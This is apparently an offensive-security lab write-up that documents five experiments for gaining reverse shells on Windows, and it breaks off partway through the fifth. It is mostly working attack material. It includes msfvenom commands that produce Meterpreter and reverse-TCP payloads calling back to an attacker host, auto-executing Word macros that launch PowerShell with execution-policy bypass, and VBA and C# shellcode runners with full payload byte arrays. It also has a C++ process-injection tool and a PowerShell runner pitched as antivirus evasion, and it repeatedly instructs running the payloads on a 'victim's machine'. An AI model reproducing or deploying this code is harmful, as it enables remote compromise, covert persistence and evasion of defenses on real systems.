**Experiment 1: Establishing a reverse shell using VBA macros and a PowerShell Shellcode Runner**

Concepts used:
**- VBA macros:** Visual Basic for Applications (VBA) is a programming language embedded in Microsoft Office applications. VBA macros allow automation and customization of tasks within these applications, including the execution of commands.
**- PowerShell:** PowerShell is a powerful scripting language and command-line shell developed by Microsoft. It provides access to various system functions and allows the execution of complex commands and scripts.

Key learnings:
- VBA macros can be used to execute commands within Microsoft Office applications, providing a way to automate tasks and interact with the underlying operating system.
- PowerShell can be leveraged within VBA macros to run shellcode. Shellcode is machine code that can be injected into a running process and typically performs malicious actions.
- By combining VBA macros and PowerShell, it becomes possible to establish a reverse shell connection. A reverse shell allows an attacker to gain remote access to a target machine by opening a network connection from the compromised system to the attacker's machine.

Steps:

1. Generate powershell using msfvenom from metasploit framework

   **msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.3 -f psh > ps_rev_https.ps1**

2. Create macro-enable word document say evil_document.docm
3. Write VBA script to automatically execute the script generated earlier automatically once the document opens
4. Save and exit
5. Run the document on the victim's machine

VBA Script:

```
Sub Document_Open()
   shellexec
End Sub


Sub shellexec()
   Dim scriptPath As String
   scriptPath = "C:\Users\abhij\OneDrive\Desktop\Offensive-Security\Exp-1\ps_rev_https.ps1"  '
Replace with the actual path to your local script
```

```
    Dim str As String
    str = "powershell.exe -ExecutionPolicy Bypass -File " & scriptPath
    Shell str, vbNormalFocus
    MsgBox "Script Executed Successfuly"
End Sub
```

**Experiment 2: Establishing a reverse shell using VBA macros by implementing Win32 APIs**

Concepts used:
**- VBA macros:** Same as in Experiment 1.
**- Win32 APIs:** The Windows API (Application Programming Interface) provides a set of functions and interfaces that allow low-level interaction with the Windows operating system.

Key learnings:
- VBA macros, in conjunction with Win32 APIs, can be used to perform advanced system-level operations and interact with the Windows operating system.
- By implementing Win32 APIs within VBA macros, it becomes possible to establish a reverse shell connection similar to Experiment 1, but using different tools and techniques.
- This experiment showcases an alternative approach to achieving a reverse shell by leveraging the capabilities of Win32 APIs within the VBA macro environment.

Steps:

1. Generate payload using msfvenom from metasploit framework
   **msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.3 LPORT=443 EXITFUNC=thread -f vbapplication**

2. Create macro-enabled word document say evil_document.docm
3. Write shellcode runner in VBA to execute the payload automatically once the document is opened
4. Replace buf() with the payload generated earlier
5. Save and exit
6. Run the document on victim's machine

VBA Script:

```
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal SecurityAttributes As LongPtr, ByVal StackSize As LongPtr, ByVal StartFunction As LongPtr, ByVal ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr, ByVal sSource As LongPtr, ByVal lLength As Long)

Function MyMacro()
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As LongPtr
```

```
    Dim res As LongPtr

    ' Define your own buf array here
    Dim buf() As Byte

    MsgBox "Reverse Shell Established!"

    buf = Array(252, 232, 143, 0, 0, 0, 96, 49, 210, 100, 139, 82, 48, 137, 229, 139, 82, 12, 139,
82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13,
1, 199, 73, 117, 239, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, 116, 76, 1,
208, 80, 139, 88, 32, 139, 72, 24, 1, 211, 133, 201, 116, 60, 73, 139, _
52, 139, 49, 255, 1, 214, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59,
125, 36, 117, 224, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1,
208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, 233, 128, 255, 255,
255, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, _
104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, 83, 232, 81, 0, 0, 0, 77, 111, 122, 105,
108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 49, 48, 46,
48, 59, 32, 87, 105, 110, 54, 52, 59, 32, 120, 54, 52, 59, 32, 114, 118, 58, 49, 48, 56, 46, 48, 41,
32, 71, 101, 99, 107, 111, 47, 50, 48, 49, _
48, 48, 49, 48, 49, 32, 70, 105, 114, 101, 102, 111, 120, 47, 49, 48, 56, 46, 48, 0, 104, 58, 86,
121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 187, 1, 0, 0, 232, 94, 1, 0, 0, 47, 99, 77, 101,
109, 79, 99, 89, 54, 83, 118, 106, 88, 81, 78, 90, 66, 115, 121, 81, 49, 67, 103, 118, 45, 113, 79,
119, 82, 116, 111, 81, 116, 69, 100, 57, 84, _
97, 79, 100, 116, 82, 110, 109, 121, 85, 88, 65, 115, 110, 103, 81, 50, 82, 95, 55, 67, 78, 65, 79,
100, 119, 56, 57, 56, 67, 70, 52, 87, 81, 50, 88, 71, 108, 102, 98, 72, 53, 65, 56, 101, 106, 88,
114, 117, 107, 83, 113, 66, 81, 97, 84, 88, 113, 68, 45, 76, 111, 69, 83, 99, 85, 106, 68, 79, 81,
79, 115, 86, 103, 115, 95, 45, 108, 101, 79, 80, _
87, 119, 51, 83, 67, 107, 51, 85, 122, 73, 122, 84, 119, 79, 100, 54, 109, 56, 51, 76, 49, 76, 57,
98, 99, 97, 122, 109, 121, 87, 119, 50, 87, 118, 48, 99, 118, 67, 86, 110, 68, 51, 51, 102, 102,
101, 112, 114, 67, 97, 70, 82, 118, 45, 95, 68, 102, 70, 78, 67, 105, 109, 117, 88, 114, 49, 84,
66, 119, 80, 78, 120, 51, 78, 108, 49, 49, 76, 54, 79, _
110, 102, 102, 81, 48, 74, 54, 51, 85, 88, 86, 77, 75, 50, 51, 73, 120, 79, 103, 55, 103, 79, 75,
50, 71, 80, 116, 120, 72, 0, 80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 2, 104,
132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 83, 83, 83, 83, 86,
104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, _
136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79, 117, 225, 232, 72, 0, 0, 0, 106, 64, 104, 0, 16,
0, 0, 104, 0, 0, 64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32,
0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, 133, 192, 117,
229, 88, 195, 95, 232, 127, 255, 255, 255, 49, _
57, 50, 46, 49, 54, 56, 46, 49, 46, 51, 0, 187, 224, 29, 42, 10, 104, 166, 149, 189, 157, 255, 213,
60, 6, 124, 10, 128, 251, 224, 117, 5, 187, 71, 19, 114, 111, 106, 0, 83, 255, 213)

    addr = VirtualAlloc(0, UBound(buf) + 1, &H3000, &H40)
```

```
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        RtlMoveMemory ByVal addr + counter, data, 1
    Next counter

    res = CreateThread(0, 0, addr, 0, 0, 0)

End Function

Sub AutoOpen()
    MyMacro
End Sub
```

**Experiment 3: Creating a C# program to execute Shellcode and establish a Reverse Shell connection**

Concepts used:
**- C#:** C# is a versatile and widely used programming language developed by Microsoft. It provides extensive libraries and features for building various types of applications, including low-level operations.

Key learnings:
- C# allows direct memory manipulation and execution of shellcode, which is typically machine code designed to perform specific tasks.
- By developing a C# program, it becomes possible to execute shellcode and establish a reverse shell connection, similar to the previous experiments.
- This experiment highlights the flexibility of C# for low-level tasks, showcasing its potential for executing potentially malicious code in controlled environments.

Steps:

1. Generate payload using msfvenom from metasploit framework

   **msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.3 LPORT=8443 -f csharp**

2. Create a C# file say evil.cs
3. Write shellcode runner in C# to execute the generated payload
4. Replace byte[] buf with the payload generated earlier
5. Save and exit
6. Compile the evil.cs file
   **csc evil.cs**

7. Run the evil.exe generated on victim's machine

C# Code:

```
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace csharpexec
{
   class Program
   {
      [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
      static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint
flProtect);
```

```
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr
lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        static void Main(string[] args)
        {
            byte[] buf = new byte[747] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,
0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x51,0x56,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,
0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x48,
0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x41,0x51,0x66,
0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x44,0x8b,0x40,0x20,0x50,0x49,0x01,0xd0,0x8b,0x48,0x18,
0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,
0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x41,0x58,0x41,0x58,0x5e,0x59,0x48,0x01,
0xd0,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,
0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,
0x49,0xc7,0xc2,0x4c,0x77,0x26,0x07,0xff,0xd5,0x53,0x53,0x48,
0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,
0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,
0xe8,0x0c,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,
0x2e,0x31,0x2e,0x33,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,
0xfb,0x20,0x00,0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,
0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,0x00,0x00,0x00,0xff,0xd5,
0xe8,0xc4,0x00,0x00,0x00,0x2f,0x39,0x77,0x73,0x32,0x69,0x70,
0x65,0x61,0x6f,0x7a,0x65,0x4c,0x79,0x6f,0x72,0x49,0x37,0x36,
0x38,0x4e,0x61,0x41,0x58,0x6f,0x44,0x59,0x4b,0x5f,0x7a,0x58,
0x75,0x32,0x34,0x43,0x65,0x63,0x31,0x66,0x46,0x44,0x78,0x75,
0x4e,0x37,0x41,0x47,0x73,0x56,0x6b,0x46,0x7a,0x56,0x4f,0x4d,
0x55,0x7a,0x72,0x54,0x4f,0x57,0x52,0x45,0x78,0x72,0x76,0x4c,
0x44,0x45,0x4d,0x70,0x50,0x65,0x6f,0x5a,0x6d,0x38,0x43,0x6f,
```

```
0x63,0x71,0x6f,0x79,0x4b,0x58,0x73,0x70,0x34,0x59,0x51,0x55,
0x2d,0x46,0x57,0x4e,0x50,0x62,0x58,0x62,0x72,0x44,0x73,0x4f,
0x4d,0x33,0x4c,0x64,0x4c,0x37,0x6e,0x6a,0x34,0x4d,0x67,0x71,
0x4b,0x63,0x44,0x6b,0x43,0x36,0x69,0x34,0x45,0x46,0x66,0x41,
0x64,0x39,0x50,0x49,0x2d,0x30,0x79,0x4c,0x64,0x4a,0x71,0x33,
0x4d,0x78,0x46,0x4c,0x32,0x55,0x6f,0x31,0x79,0x33,0x45,0x31,
0x62,0x78,0x67,0x44,0x69,0x5f,0x4c,0x76,0x59,0x74,0x7a,0x6d,
0x35,0x46,0x67,0x61,0x41,0x66,0x61,0x6f,0x69,0x78,0x4a,0x36,
0x45,0x72,0x51,0x4f,0x67,0x57,0x30,0x6c,0x6e,0x57,0x44,0x62,
0x50,0x44,0x70,0x37,0x71,0x65,0x73,0x74,0x00,0x48,0x89,0xc1,
0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x32,
0xa8,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,
0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,
0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x00,0x00,
0x49,0x89,0xe0,0x6a,0x04,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,
0x86,0x00,0x00,0x00,0x00,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,
0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,
0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,
0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,
0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,
0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,
0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,
0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,
0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,
0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,
0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,
0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,
0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,
0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5};
            // Get the size of the buffer
            int size = buf.Length;
            // Manage Memory
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)size, 0x3000, 0x40);
            // Copy the shellcode to the allocated memory
            Marshal.Copy(buf, 0, addr, size);
            // CreateThread
            IntPtr hthread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            // WaitForSingleObject to wait for shellcode execution to complete
            Console.WriteLine("Reverse Shell Established successfuly!");
            WaitForSingleObject(hthread, 0xFFFFFFFF);
        }
    }
}
```

**Experiment 4: Initiating process injection into notepad.exe and establishing a reverse shell connection**

Concepts used:
**- Process injection:** Process injection refers to the technique of injecting malicious code into a running process. This allows the attacker to hide their activity within a trusted process and gain unauthorized access or control.
**- Reverse shell:** Same as in Experiment 1.

Key learnings:
- Process injection provides a way to stealthily execute malicious code by injecting it into a legitimate process, such as notepad.exe, which is a common and trusted application.
- By injecting code into notepad.exe or a similar process, it becomes possible to conceal the malicious activity and establish a reverse shell connection.
- This experiment demonstrates the potential for covertly gaining access to a system by piggybacking on legitimate processes, highlighting the need for effective process monitoring and security measures.

Steps:

1. Generate payload using msfvenom from metasploit framework

   **msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.3 LPORT=443 -f c -b \x00\x0a\x0d**

2. Create C++ file say evil.cpp
3. Write C++ code to inject the payload into the process whose PID is given by the user
4. Replace payload with the payload generated earlier.
5. Save and compile the program (Using DevC++)
6. Open terminal in the output folder and execute evil.exe

   evil.exe <PID>

7. The process whose PID is given will execute the payload due to process injection

C++ Code:

```
#include <stdio.h>
#include <Windows.h>

using namespace std;


int main(int argc, char* argv[])
{
```

```
    if (argc < 2) {
        printf("Usage: %s <PID>\n", argv[0]);
        return 1;
    }

    DWORD processId = atoi(argv[1]);

    HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
    if (processHandle == NULL) {
        printf("Failed to open process. Error code: %u\n", GetLastError());
        return 1;
    }

    unsigned char shellcode[] =
"\xeb\x27\x5b\x53\x5f\xb0\xee\xfc\xae\x75\xfd\x57\x59\x53"
"\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f"
"\xc3\xbe\x74\x07\x80\x3e\xee\x75\xea\xeb\xe6\xff\xe1\xe8"
"\xd4\xff\xff\xff\x14\xee\xe8\x5c\x97\xf0\xe4\xfc\xd4\x14"
"\x14\x14\x55\x45\x55\x44\x46\x45\x42\x5c\x25\xc6\x71\x5c"
"\x9f\x46\x74\x5c\x9f\x46\x0c\x5c\x9f\x46\x34\x5c\x9f\x66"
"\x44\x5c\x1b\xa3\x5e\x5e\x59\x25\xdd\x5c\x25\xd4\xb8\x28"
"\x75\x68\x16\x38\x34\x55\xd5\xdd\x19\x55\x15\xd5\xf6\xf9"
"\x46\x55\x45\x5c\x9f\x46\x34\x9f\x56\x28\x5c\x15\xc4\x9f"
"\x94\x9c\x14\x14\x14\x5c\x91\xd4\x60\x73\x5c\x15\xc4\x44"
"\x9f\x5c\x0c\x50\x9f\x54\x34\x5d\x15\xc4\xf7\x42\x5c\xeb"
"\xdd\x55\x9f\x20\x9c\x5c\x15\xc2\x59\x25\xdd\x5c\x25\xd4"
"\xb8\x55\xd5\xdd\x19\x55\x15\xd5\x2c\xf4\x61\xe5\x58\x17"
"\x58\x30\x1c\x51\x2d\xc5\x61\xcc\x4c\x50\x9f\x54\x30\x5d"
"\x15\xc4\x72\x55\x9f\x18\x5c\x50\x9f\x54\x08\x5d\x15\xc4"
"\x55\x9f\x10\x9c\x5c\x15\xc4\x55\x4c\x55\x4c\x4a\x4d\x4e"
"\x55\x4c\x55\x4d\x55\x4e\x5c\x97\xf8\x34\x55\x46\xeb\xf4"
"\x4c\x55\x4d\x4e\x5c\x9f\x06\xfd\x43\xeb\xeb\xeb\x49\x5d"
"\xaa\x63\x67\x26\x4b\x27\x26\x14\x14\x55\x42\x5d\x9d\xf2"
"\x5c\x95\xf8\xb4\x15\x14\x14\x5d\x9d\xf1\x5d\xa8\x16\x14"
"\x15\xaf\xd4\xbc\x15\x17\x55\x40\x5d\x9d\xf0\x58\x9d\xe5"
"\x55\xae\x58\x63\x32\x13\xeb\xc1\x58\x9d\xfe\x7c\x15\x15"
"\x14\x14\x4d\x55\xae\x3d\x94\x7f\x14\xeb\xc1\x44\x44\x59"
"\x25\xdd\x59\x25\xd4\x5c\xeb\xd4\x5c\x9d\xd6\x5c\xeb\xd4"
"\x5c\x9d\xd5\x55\xae\xfe\x1b\xcb\xf4\xeb\xc1\x5c\x9d\xd3"
"\x7e\x04\x55\x4c\x58\x9d\xf6\x5c\x9d\xed\x55\xae\x8d\xb1"
"\x60\x75\xeb\xc1\x5c\x95\xd0\x54\x16\x14\x14\x5d\xac\x77"
"\x79\x70\x14\x14\x14\x14\x14\x55\x44\x55\x44\x5c\x9d\xf6"
"\x43\x43\x43\x59\x25\xd4\x7e\x19\x4d\x55\x44\xf6\xe8\x72"
"\xd3\x50\x30\x40\x15\x15\x5c\x99\x50\x30\x0c\xd2\x14\x7c"
```

```
"\x5c\x9d\xf2\x42\x44\x55\x44\x55\x44\x55\x44\x5d\xeb\xd4"
"\x55\x44\x5d\xeb\xdc\x59\x9d\xd5\x58\x9d\xd5\x55\xae\x6d"
"\xd8\x2b\x92\xeb\xc1\x5c\x25\xc6\x5c\xeb\xde\x9f\x1a\x55"
"\xae\x1c\x93\x09\x74\xeb\xc1\xaf\xe4\xa1\xb6\x42\x55\xae"
"\xb2\x81\xa9\x89\xeb\xc1\x5c\x97\xd0\x3c\x28\x12\x68\x1e"
"\x94\xef\xf4\x61\x11\xaf\x53\x07\x66\x7b\x7e\x14\x4d\x55"
"\x9d\xce\xeb\xc1\xc3\xbe";

    LPVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (remoteBuffer == NULL) {
        printf("Failed to allocate remote buffer. Error code: %u\n", GetLastError());
        CloseHandle(processHandle);
        return 1;
    }

    if (!WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof(shellcode), NULL)) {
        printf("Failed to write shellcode to remote process. Error code: %u\n", GetLastError());
        VirtualFreeEx(processHandle, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(processHandle);
        return 1;
    }

    HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    if (remoteThread == NULL) {
        printf("Failed to create remote thread. Error code: %u\n", GetLastError());
        VirtualFreeEx(processHandle, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(processHandle);
        return 1;
    }
    printf("Shellcode injected successfully.\n");

    // Cleanup
    CloseHandle(remoteThread);
    VirtualFreeEx(processHandle, remoteBuffer, 0, MEM_RELEASE);
    CloseHandle(processHandle);

    return 0;
}
```

**Experiment 5: Bypassing Antivirus Detection using Caesar Cipher Substitution and Establishing a Reverse Shell Connection**

Concepts used:
**- Antivirus evasion:** Antivirus evasion involves employing techniques to bypass antivirus software and avoid detection of malicious activities.
**- Caesar cipher:** The Caesar cipher is a simple encryption technique that substitutes letters in the plaintext with letters at a fixed number of positions down the alphabet. For example, with a shift of 3, "A" becomes "D," "B" becomes "E," and so on.
**- Reverse shell:** Same as in Experiment 1.

Key learnings:
- Antivirus evasion techniques are employed to bypass antivirus software and evade detection of malicious code or activities.
- The Caesar cipher, a basic encryption method, can be used to obfuscate the malicious code by substituting characters in the code with shifted characters based on a predetermined key.
- By encrypting the malicious code using the Caesar cipher, it may be possible to evade antivirus detection and establish a reverse shell connection.
- This experiment emphasizes the importance of understanding security measures and the potential limitations of antivirus software in detecting sophisticated attacks. It also highlights the need for robust and up-to-date security solutions to defend against such evasion techniques.

Steps:

1. Generate powershell script using msfvenom from metasploit framework

   **msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.3 -f psh > ps_rev_https.ps1**

2. Open the powershell script
3. Write function to encrypt and decrypt the payload using Caesar cipher given some shift value
4. Use encrypt function to encrypt the payload to avoid detection from antivirus
5. Before executing payload decrypt it to extract the original payload and execute it

Powershell Script:

```
$ylWUWnjkLGfWqqM = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@
```

```
$CpnjUAuOQbV = Add-Type -memberDefinition $ylWUWnjkLGfWqqM -Name "Win32"
-namespace Win32Functions -passthru

[Byte[]] $AYasPKZM =
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x48,0x31,0
xd2,0x65,0x48,0x8b,0x52,0x60,0x56,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x4d,0x31,0x
c9,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x
2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0
x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0
x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x44,0x8b,0x40,0x20,0x8b,0x
48,0x18,0x49,0x1,0xd0,0x50,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0
x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x
4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x
66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd
0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0
x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe
1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x
31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0x0,0xff,0xd5,
0xe8,0xe,0x0,0x0,0x0,0x0,0x32,0x32,0x33,0x2e,0x31,0x38,0x34,0x2e,0x31,0x37,0x2e,0x38,0x30,0
x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xfb,0x20,0x0,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x
3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd2,0x0,0x0,0x0,0x0,0x2f,
0x78,0x75,0x4c,0x69,0x6b,0x32,0x61,0x54,0x4b,0x57,0x77,0x68,0x36,0x79,0x44,0x70,0x52,0
x59,0x2d,0x30,0x6d,0x51,0x39,0x6f,0x69,0x54,0x5a,0x57,0x70,0x44,0x41,0x73,0x52,0x55,0x7
8,0x36,0x64,0x6a,0x69,0x6e,0x41,0x34,0x54,0x39,0x74,0x6d,0x58,0x78,0x79,0x46,0x52,0x71,
0x30,0x71,0x69,0x4a,0x43,0x43,0x55,0x6d,0x5a,0x68,0x73,0x6f,0x6e,0x72,0x63,0x44,0x6b,0x
5a,0x4c,0x55,0x2d,0x6d,0x5a,0x53,0x31,0x52,0x74,0x4c,0x79,0x35,0x51,0x45,0x49,0x65,0x6
a,0x2d,0x79,0x44,0x77,0x39,0x61,0x49,0x32,0x30,0x79,0x44,0x4a,0x57,0x51,0x36,0x61,0x48,
0x38,0x42,0x6a,0x57,0x39,0x50,0x65,0x33,0x67,0x42,0x74,0x37,0x51,0x6e,0x6a,0x73,0x59,0
x54,0x41,0x6a,0x73,0x6e,0x51,0x30,0x35,0x50,0x6d,0x5f,0x66,0x67,0x75,0x59,0x56,0x2d,0x5
7,0x45,0x66,0x62,0x7a,0x36,0x78,0x4d,0x4a,0x4e,0x6f,0x64,0x71,0x53,0x53,0x62,0x42,0x35,
0x79,0x48,0x78,0x62,0x46,0x54,0x54,0x45,0x52,0x38,0x36,0x37,0x68,0x4b,0x34,0x50,0x59,0
x44,0x57,0x6d,0x30,0x7a,0x61,0x6a,0x55,0x5a,0x4f,0x2d,0x68,0x6d,0x4c,0x54,0x4f,0x7a,0x4c
,0x2d,0x6e,0x53,0x63,0x51,0x48,0x5a,0x52,0x6b,0x45,0x41,0x4b,0x68,0x64,0x42,0x51,0x69,0
x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,
0x0,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0x
c6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe
